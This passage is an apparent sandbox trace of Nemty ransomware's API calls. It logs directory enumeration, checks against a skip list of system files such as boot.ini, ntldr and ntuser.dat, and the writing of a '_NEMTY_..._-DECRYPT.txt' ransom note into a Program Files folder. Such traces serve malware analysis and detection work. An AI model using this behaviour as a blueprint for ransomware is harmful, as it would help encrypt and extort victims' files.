ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0099.460] lstrcmpiW (lpString1="Microsoft", lpString2=".") returned 1 [0099.460] lstrcmpiW (lpString1="Microsoft", lpString2="..") returned 1 [0099.460] lstrcmpiW (lpString1="Microsoft", lpString2="...") returned 1 [0099.460] lstrcmpiW (lpString1="Microsoft", lpString2="windows") returned -1 [0099.460] lstrcmpiW (lpString1="Microsoft", lpString2="$RECYCLE.BIN") returned 1 [0099.460] lstrcmpiW (lpString1="Microsoft", lpString2="rsa") returned -1 [0099.460] lstrcmpiW (lpString1="Microsoft", lpString2="NTDETECT.COM") returned -1 [0099.460] lstrcmpiW (lpString1="Microsoft", lpString2="ntldr") returned -1 [0099.460] lstrcmpiW (lpString1="Microsoft", lpString2="MSDOS.SYS") returned -1 [0099.460] lstrcmpiW (lpString1="Microsoft", lpString2="IO.SYS") returned 1 [0099.460] lstrcmpiW (lpString1="Microsoft", lpString2="boot.ini") returned 1 [0099.460] lstrcmpiW (lpString1="Microsoft", lpString2="boot.ini") returned 1 [0099.460] lstrcmpiW (lpString1="Microsoft", lpString2="AUTOEXEC.BAT") returned 1 [0099.460] lstrcmpiW (lpString1="Microsoft", lpString2="ntuser.dat") returned -1 [0099.460] lstrcmpiW (lpString1="Microsoft", lpString2="desktop.ini") returned 1 [0099.460] lstrcmpiW (lpString1="Microsoft", lpString2="CONFIG.SYS") returned 1 [0099.460] lstrcmpiW (lpString1="Microsoft", lpString2="RECYCLER") returned -1 [0099.460] lstrcmpiW (lpString1="Microsoft", lpString2="BOOTSECT.BAK") returned 1 [0099.460] lstrcmpiW (lpString1="Microsoft", lpString2="bootmgr") returned 1 [0099.460] lstrcmpiW (lpString1="Microsoft", lpString2="programdata") returned -1 [0099.460] lstrcmpiW (lpString1="Microsoft", lpString2="appdata") returned 1 [0099.460] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.460] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Microsoft", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0099.460] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Microsoft", cchWideChar=9, lpMultiByteStr=0x653f590, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft", lpUsedDefaultChar=0x0) returned 9 [0099.460] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.460] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d051120, ftCreationTime.dwHighDateTime=0x1d53370, ftLastAccessTime.dwLowDateTime=0x27d643d0, ftLastAccessTime.dwHighDateTime=0x1d50378, ftLastWriteTime.dwLowDateTime=0x27d643d0, ftLastWriteTime.dwHighDateTime=0x1d50378, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="photography-policies.exe", cAlternateFileName="PHOTOG~1.EXE")) returned 1 [0099.460] lstrcmpiW (lpString1="photography-policies.exe", lpString2=".") returned 1 [0099.460] lstrcmpiW (lpString1="photography-policies.exe", lpString2="..") returned 1 [0099.460] lstrcmpiW (lpString1="photography-policies.exe", lpString2="...") returned 1 [0099.460] lstrcmpiW (lpString1="photography-policies.exe", lpString2="windows") returned -1 [0099.460] lstrcmpiW (lpString1="photography-policies.exe", lpString2="$RECYCLE.BIN") returned 1 [0099.461] lstrcmpiW (lpString1="photography-policies.exe", lpString2="rsa") returned -1 [0099.461] lstrcmpiW (lpString1="photography-policies.exe", lpString2="NTDETECT.COM") returned 1 [0099.461] lstrcmpiW (lpString1="photography-policies.exe", lpString2="ntldr") returned 1 [0099.461] lstrcmpiW (lpString1="photography-policies.exe", lpString2="MSDOS.SYS") returned 1 [0099.461] lstrcmpiW (lpString1="photography-policies.exe", lpString2="IO.SYS") returned 1 [0099.461] lstrcmpiW (lpString1="photography-policies.exe", lpString2="boot.ini") returned 1 [0099.461] lstrcmpiW (lpString1="photography-policies.exe", lpString2="boot.ini") returned 1 [0099.461] lstrcmpiW (lpString1="photography-policies.exe", lpString2="AUTOEXEC.BAT") returned 1 [0099.461] lstrcmpiW (lpString1="photography-policies.exe", lpString2="ntuser.dat") returned 1 [0099.461] lstrcmpiW (lpString1="photography-policies.exe", lpString2="desktop.ini") returned 1 [0099.461] lstrcmpiW (lpString1="photography-policies.exe", lpString2="CONFIG.SYS") returned 1 [0099.461] lstrcmpiW (lpString1="photography-policies.exe", lpString2="RECYCLER") returned -1 [0099.461] lstrcmpiW (lpString1="photography-policies.exe", lpString2="BOOTSECT.BAK") returned 1 [0099.461] lstrcmpiW (lpString1="photography-policies.exe", lpString2="bootmgr") returned 1 [0099.461] lstrcmpiW (lpString1="photography-policies.exe", lpString2="programdata") returned -1 [0099.461] lstrcmpiW (lpString1="photography-policies.exe", lpString2="appdata") returned 1 [0099.461] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0099.461] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="photography-policies.exe", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0099.461] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.461] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="photography-policies.exe", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="photography-policies.exe", lpUsedDefaultChar=0x0) returned 24 [0099.461] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.461] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0099.461] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="photography-policies.exe", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0099.461] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.461] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="photography-policies.exe", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="photography-policies.exe", lpUsedDefaultChar=0x0) returned 24 [0099.461] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.461] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0099.461] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0099.461] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0099.461] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="photography-policies.exe", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0099.461] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.461] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="photography-policies.exe", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="photography-policies.exe", lpUsedDefaultChar=0x0) returned 24 [0099.461] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0099.461] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0099.461] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="photography-policies.exe", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0099.461] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0099.461] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="photography-policies.exe", cchWideChar=24, lpMultiByteStr=0x4f9ed58, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="photography-policies.exe", lpUsedDefaultChar=0x0) returned 24 [0099.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0099.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f940f0 [0099.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0099.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0099.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.462] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeec2250, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xeeec2250, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xeeec2250, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0099.462] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0099.462] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0099.462] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0099.462] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0099.462] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0099.462] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0099.462] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0099.462] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0099.462] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0099.462] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0099.462] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0099.462] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0099.462] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0099.462] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0099.462] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0099.462] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0099.462] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0099.462] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0099.462] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0099.462] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0099.462] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0099.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0099.462] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0099.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.462] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0099.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0099.462] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0099.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.462] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0099.463] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.463] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0099.463] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0099.463] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0099.463] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0099.463] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.463] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0099.463] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0099.463] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0099.463] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0099.463] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0099.463] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0099.463] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0099.463] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0099.463] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f940f0 | out: hHeap=0x4f90000) returned 1 [0099.463] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0099.463] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.463] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeec2250, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xeeec2250, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xeeec2250, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0099.463] FindClose (in: hFindFile=0x3423970 | out: hFindFile=0x3423970) returned 1 [0099.463] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0099.463] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f915e8 | out: hHeap=0x4f90000) returned 1 [0099.463] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0099.463] FindNextFileW (in: hFindFile=0x34239b0, lpFindFileData=0x653f9c8 | out: lpFindFileData=0x653f9c8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0xbda9d7f0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xbda9d7f0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344e640, dwReserved1=0x0, cFileName="Uninstall Information", cAlternateFileName="UNINST~1")) returned 1 [0099.463] lstrcmpiW (lpString1="Uninstall Information", lpString2=".") returned 1 [0099.463] lstrcmpiW (lpString1="Uninstall Information", lpString2="..") returned 1 [0099.463] lstrcmpiW (lpString1="Uninstall Information", lpString2="...") returned 1 [0099.463] lstrcmpiW (lpString1="Uninstall Information", lpString2="windows") returned -1 [0099.463] lstrcmpiW (lpString1="Uninstall Information", lpString2="$RECYCLE.BIN") returned 1 [0099.463] lstrcmpiW (lpString1="Uninstall Information", lpString2="rsa") returned 1 [0099.463] lstrcmpiW (lpString1="Uninstall Information", lpString2="NTDETECT.COM") returned 1 [0099.463] lstrcmpiW (lpString1="Uninstall Information", lpString2="ntldr") returned 1 [0099.463] lstrcmpiW (lpString1="Uninstall Information", lpString2="MSDOS.SYS") returned 1 [0099.463] lstrcmpiW (lpString1="Uninstall Information", lpString2="IO.SYS") returned 1 [0099.464] lstrcmpiW (lpString1="Uninstall Information", lpString2="boot.ini") returned 1 [0099.464] lstrcmpiW (lpString1="Uninstall Information", lpString2="boot.ini") returned 1 [0099.464] lstrcmpiW (lpString1="Uninstall Information", lpString2="AUTOEXEC.BAT") returned 1 [0099.464] lstrcmpiW (lpString1="Uninstall Information", lpString2="ntuser.dat") returned 1 [0099.464] lstrcmpiW (lpString1="Uninstall Information", lpString2="desktop.ini") returned 1 [0099.464] lstrcmpiW (lpString1="Uninstall Information", lpString2="CONFIG.SYS") returned 1 [0099.464] lstrcmpiW (lpString1="Uninstall Information", lpString2="RECYCLER") returned 1 [0099.464] lstrcmpiW (lpString1="Uninstall Information", lpString2="BOOTSECT.BAK") returned 1 [0099.464] lstrcmpiW (lpString1="Uninstall Information", lpString2="bootmgr") returned 1 [0099.464] lstrcmpiW (lpString1="Uninstall Information", lpString2="programdata") returned 1 [0099.464] lstrcmpiW (lpString1="Uninstall Information", lpString2="appdata") returned 1 [0099.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0099.464] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Uninstall Information", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0099.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.464] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Uninstall Information", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Uninstall Information", lpUsedDefaultChar=0x0) returned 21 [0099.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0099.464] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Uninstall Information", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0099.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.464] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Uninstall Information", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Uninstall Information", lpUsedDefaultChar=0x0) returned 21 [0099.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0099.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0099.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91590 [0099.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0099.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f916e8 [0099.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0099.464] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0099.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.464] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0099.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0099.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f915e8 [0099.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0099.464] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x634dc60 [0099.464] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f915e8 | out: hHeap=0x4f90000) returned 1 [0099.465] CreateFileW (lpFileName="C:\\Program Files\\Uninstall Information\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\uninstall information\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0099.465] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc60 | out: hHeap=0x4f90000) returned 1 [0099.465] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0099.465] WriteFile (in: hFile=0x3c0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f880, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653f880*=0xef8, lpOverlapped=0x0) returned 1 [0099.466] CloseHandle (hObject=0x3c0) returned 1 [0099.467] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0099.467] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0099.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f916e8 [0099.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f915e8 [0099.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0099.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0099.467] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0099.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0099.467] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0099.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.467] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0099.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94088 [0099.467] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 